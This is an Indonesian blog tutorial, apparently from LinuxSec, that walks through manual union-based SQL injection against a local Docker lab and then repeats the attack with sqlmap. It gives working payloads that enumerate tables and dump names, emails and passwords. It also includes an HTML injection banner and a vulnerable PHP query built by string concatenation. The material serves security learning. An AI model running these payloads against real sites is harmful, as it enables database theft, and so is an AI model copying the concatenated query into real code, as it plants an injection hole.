Ada beberapa step yang harus diikuti namun saya coba untuk merangkumnya dalam bahasa yang sederhana ya. Mudah-mudahan bisa diikuti.
Oke, sebelum masuk ke tutorial SQL Injection, langkah pertama adalah mempersiapkan lab nya. Jadi jangan sembarangan menargetkan web orang lain untuk pembelajaran ya. Karena itu perbuatan illegal. Tenang saja, disini saya sudah mempersiapkan lab local dalam bentuk docker. Jadi setupnya tidak ribet. Pertama, wajib terlebih dahulu terinstall docker di sistem operasi kalian. Berikut cara menginstall docker yang bisa kalian ikuti:
Jika sudah terinstall docker di sistem operasi kalian, jalankan perintah berikut:
docker run --rm -it -p 127.0.0.1:1337:80 linuxsec/sqli-labs
Target kita kali ini berlokasi di http://127.0.0.1:1337/data.php. Jika kalian bisa mengakses halaman tersebut di browser, maka kalian sudah siap untuk lanjut ke tutorialnya.
Oke lab sudah siap. Saatnya kita lanjut ke tutorial cara eksploitasi kerentanan SQL Injection.
Step 1 – Mengkonfirmasi Kerentanan
Langkah pertama adalah mengkonfirmasi kerentanan. Caranya adalah penambahkan karakter khusus di parameter url. Biasanya karakter yang sering dipakai untuk mengkonfirmasi SQL Injection adalah tanda petik ('), meskipun tidak menutup kemungkinan pada beberapa kasus special character lain seperti \, ), dan " juga bisa dipakai untuk men-trigger error pada halaman yang rentan terhadap SQL Injection.
Berikut contoh halaman yang rentan terhadap SQL Injection sebelum ditambahkan tanda kutip.
- http://127.0.0.1:1337/data.php?id=2
Dan berikut tampilan ketika ditambahkan tanda petik pada parameter id.
- http://127.0.0.1:1337/data.php?id=2'
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near ''2''' at
line 1.
Pesan error diatas dapat menjadi indikasi bahwa web ini memiliki kerentanan SQL Injection.
Oke kita sudah melewati tahap pertama yakni mengkonfirmasi atau mendeteksi kerentanan. Lanjut ke tahap kedua.
Step 2 – Menentukan Comment
Tahap kedua adalah menentukan comment. Hal ini ditujukan untuk "memperbaiki" error dari step 1 tadi. Jadi penjelasan sederhananya, pada step pertama tadi kita membuat error dengan special character, kemudian di step kedua ini kita menambahkan comment atau balancing agar web kembali "normal".
Balancing yang sering dipakai sendiri adalah:
- -- : MySQL Linux Style
- --+ : MySQL Windows Style
- # : Hash (URL encode while use)
- --+- : SQL Comment
- ;%00 : Null Byte
- ` : Backtick
Mana yang harus kita pakai? Sebenarnya balancing yang umum dipakai adalah double dash (--), namun tidak menutup kemungkinan balancing lain yang ternyata malah work atau dapat digunakan. Jadi ya better dicoba-coba saja semuanya, mana yang cocok.
Sebagai contoh, disini ketika kita tambahkan double dash ternyata masih error.
- http://127.0.0.1:1337/data.php?id=2'--
Singkat cerita, ketika ternyata comment yang work adalah --+- dan atau --+.
- http://127.0.0.1:1337/data.php?id=2'--+-
Oke kita sudah melewati tahap kedua yakni menentukan comment.
Step 3 – Menentukan Jumlah Columns
Oke, langkah selanjutnya adalah menentukan jumlah kolom dari table di database yang digunakan oleh web tersebut. Caranya adalah menggunakan order by, dan menemukan di angka berapa terdapat error.
Querynya:
- http://127.0.0.1:1337/data.php?id=2' order by 1--+-
Setelah dicoba berurutan, berikut hasilnya:
- 2' order by 1--+- : Normal
- 2' order by 2--+- : Normal
- 2' order by 3--+- : Normal
- 2' order by 4--+- : Error
Kita mendapati error Uncaught mysqli_sql_exception: Unknown column '4' in 'order clause' di angka ke 4. Yang kalau bahasa sederhananya : He, kolom ke-empat itu gak ada. Atau dalam kata lain, jumlah kolom hanya ada 3.
Note: Jumlah kolom di lab yang saya pakai sebenarnya ada 9. Di akhir tutorial ini akan saya jelaskan kenapa hal ini terjadi.
Oke sekarang setelah tau jumlah kolom nya ada 3, kita lanjut ke step berikutnya.
Step 4 – Menemukan "Angka Ajaib"
Entah ini nyebutnya apa. Tapi anak-anak sering nyebutnya magic number alias angka ajaib. Angka ini bisa diperoleh dengan menjalankan query berikut:
2' union select 1,2,3--+-
Disini angka yang dipakai adalah 1 sampai 3 karena di step sebelumnya kita tau jumlah kolom ada 3. Jadi silahkan disesuaikan sendiri. Tujuan dari query ini adalah untuk memeriksa apakah kita bisa menggunakan union select. Apakah ada kemungkinan magic number tidak ketemu? Tentu ada. Namun di tutorial basic ini kita akan berfokus dulu di case ini ya.
Oke, nampak angka yang muncul adalah 1, 2, dan 3. Kita bisa gunakan salah satu angka tersebut untuk menampilkan daya yang ingin kita panggil nantinya.
Step 5 – Melihat Informasi Database
Oke mari kita coba menggunakan query sederhana terlebih dahulu yaitu melihat versi database. Di step sebelumnya kita sudah mengetahui bahwa magic numbernya adalah 1,2,3. Kita bisa gunakan salahsatu number itu. Disini kita pakai angka 2 saja ya untuk step ini dan selanjutnya. Tapi tentu saja kalian bebas menggunakan angka manapun selama itu adalah angka yang muncul di step sebelumnya.
Querynya:
2' union select 1,@@version,3--+-
Terlihat bahwa versi database yang digunakan adalah 10.4.25-MariaDB.
Selain mengecek versi database, kita juga bisa mengecek parameter lain menggunakan fungsi berikut ini:
- @@version — menampilkan Versi database
- user() — menampilkan Nama User database
- @@hostname — menampilkan Hostname
- @@tmpdir — menampilkan Direktori temp
- @@datadir — menampilkan Direktori data
- @@basedir — menampilkan Direktori base
- database() — menampilkan Nama Database
- schema() — menampilkan Database yang dipakai
- session_user() — menampilkan Session User
Untuk memeriksa beberapa query sekaligus, kita bisa gunakan concat. Contoh:
2' union select 1,concat(@@version,0x3a,schema()),3--+-
Disini 0x3a sendiri merupakan bentuk hex dari :.
- https://magictool.ai/tool/text-to-hex-converter/
Okee, selanjutnya kita coba ekstrak informasi sensitif dari database yang saat ini sedang dipakai.
Step 6 – Memunculkan Nama Table
Selanjutnya adalah memunculkan nama table. Querynya adalah sebagai berikut
2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+-
Kita menggunakan group_concat untuk menampilkan list table. Sebenarnya pakai concat juga bisa, perbedaannya hanya di format outputnya saja. Sementara query from information_schema.tables where table_schema=database() harus diletakkan sebelum comment.
Oke dari outputnya kita tau ada dua table di database evangelion_sqli yakni Info dan Users.
Next kita akan coba lihat isi dari table Users.
Step 7 – Memunculkan Daftar Columns
Step berikutnya adalah melihat nama kolom. Disini saya akan melihat nama kolom dari table Users.
Berikut querynya:
2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="Users" --+-
Perhatikan penggunakan tanda petik dua untuk nama tablenya ya.
Terlihat di table Users memiliki 9 columns yakni kolom id, Name, Age, Rank, Email, Password, Unit, Bio, Img.
Step 8 – Memunculkan Data dari Columns
Step terakhir dari SQl Injection adalah memunculkan data dari kolom. Query injeksinya adalah
2' union select 1,group_concat(id,0x3a,Name,0x3a,Age,0x3a,Rank,0x3a,Email,0x3a,Password),3 from Users --+-
Sesuaikan sendiri untuk nama kolom yang datanya akan dipanggil.
Kalau kita ingin mengeluarkan isi dari kolom Name, Email, dan Password, maka querynya adalah:
2' union select 1,group_concat(Name,0x3a,Email,0x3a,Password),3 from Users --+-
Misc – Formatting Output
Seni dari SQL Injection sendiri adalah kita bisa menentukan bagaimana output SQL Injection ini akan ditampilkan. Termasuk menggunakan kode atau tag HTML untuk mempercantik output. Contoh query:
2' union select 1,group_concat('Name:+',Name,'<br>Email:+',Email,'<br>Password:+',Password,'<br>------</br>'),3 from Users --+-
Atau, misalkan kita ingin menampilkan nama kita di outputnya:
2' union select 1,group_concat('<h1>Injected by LinuxSec</h1>','Name:+',Name,'<br>Email:+',Email,'<br>Password:+',Password),3 from Users where Email="asuka@eva.nerv"--+-
Query where di akhir untuk membatasi output yang ditampilkan agar data user Asuka saja.
Behind The Scene
Oke, diatas sempat kita mention bahwa sebenarnya jumlah kolom di web ini ada 9. Namun kenapa di "order by" hanya ketemu 3 kolom? Jawabannya karena query asli dari web nya memang hanya memanggil 3 kolom yakni Name, Age, dan Rank.
$sql = "SELECT Name, Age, Rank FROM Users WHERE id='" . $id . "'";
Dan ketika kita memanggil id 2, query yang akan berjalan di database adalah:
SELECT Name, Age, Rank FROM Users WHERE id='2';
Dan ketika kita ingin mengekstrak Name, Email, dan Password maka query yang berjalan di belakang adalah:
SELECT Name, Age, Rank FROM Users WHERE id='2' union select 1,group_concat(Name,0x3a,Email,0x3a,Password),3 from Users;-- -'
Material
Oke, mungkin kalian ingin belajar mengikuti artikel ini. Kalian bisa gunakan lab berikut:
- https://hub.docker.com/r/linuxsec/sqli-labs
- https://github.com/yuyudhn/SQLi-Labs-Docker
Deploy menggunakan Docker ya. Commandnya:
docker run --rm -it -p 1337:80 linuxsec/sqli-labs
Oke mungkin itu saja ya untuk
dasar SQL Injection. Jika ada yang ingin ditanyakan silahkan tinggalkan komentar.
Bonus: Automate with SQLMap
Oke, selamat, kalian sudah mengenal dasar SQL Injection. Belajar cara manual juga penting agar nantinya kita paham secara konsep, dan juga ketika tool auto seperti sqlmap gagal menjalankan eksploitasi SQL Injection, kalian tetap bisa melakukan eksplorasi secara manual. Atau, dengan tau konsep manualnya, tentu kalian juga dengan mudah dapat melakukan tweak query di sqlmap ketika perintah default tidak berhasil melakukan dump database dari web target.
sqlmap -u "http://127.0.0.1:1337/data.php?id=2"
Salah satu teknik yang bisa digunakan adalah UNION query. Kita bisa coba ekstrak list database nya menggunakan perintah:
sqlmap -u "http://127.0.0.1:1337/data.php?id=2" --technique=U --dbs
Sama seperti yang kita lakukan di cara manual, kita disini akan mengekstrak data dari database evangelion_sqli. Disini kita akan cek list table yang ada di database tersebut:
sqlmap -u "http://127.0.0.1:1337/data.php?id=2" --technique=U -D evangelion_sqli --tables
Oke, selanjutnya, kita akan mencoba melihat list kolom dari table Users.
sqlmap -u "http://127.0.0.1:1337/data.php?id=2" --technique=U -D evangelion_sqli -T Users --columns
Lanjut, setelah list kolom nya terlihat, disini kita akan melakukan dump data dari kolom Name, Email, dan Password. Command nya adalah:
sqlmap -u "http://127.0.0.1:1337/data.php?id=2" --technique=U -D evangelion_sqli -T Users -C Name,Email,Password --dump
Mudah bukan?
Referensi:
- https://www.owasp.org/index.php/Comment_Injection_Attack
- http://www.securityidiots.com/Web-Pentest/SQL-Injection/Part-3-Basic-of-SQL-for-SQLi.html
- https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
- https://www.exploit-db.com/papers/13045
Posting Komentar untuk "Tutorial Basic SQL Injection Manual Lengkap"
Posting Komentar
Silahkan tinggalkan komentar jika ada masukan, pertanyaan, kritik ataupun dukungan. Namun pastikan untuk berkomentar secara sopan.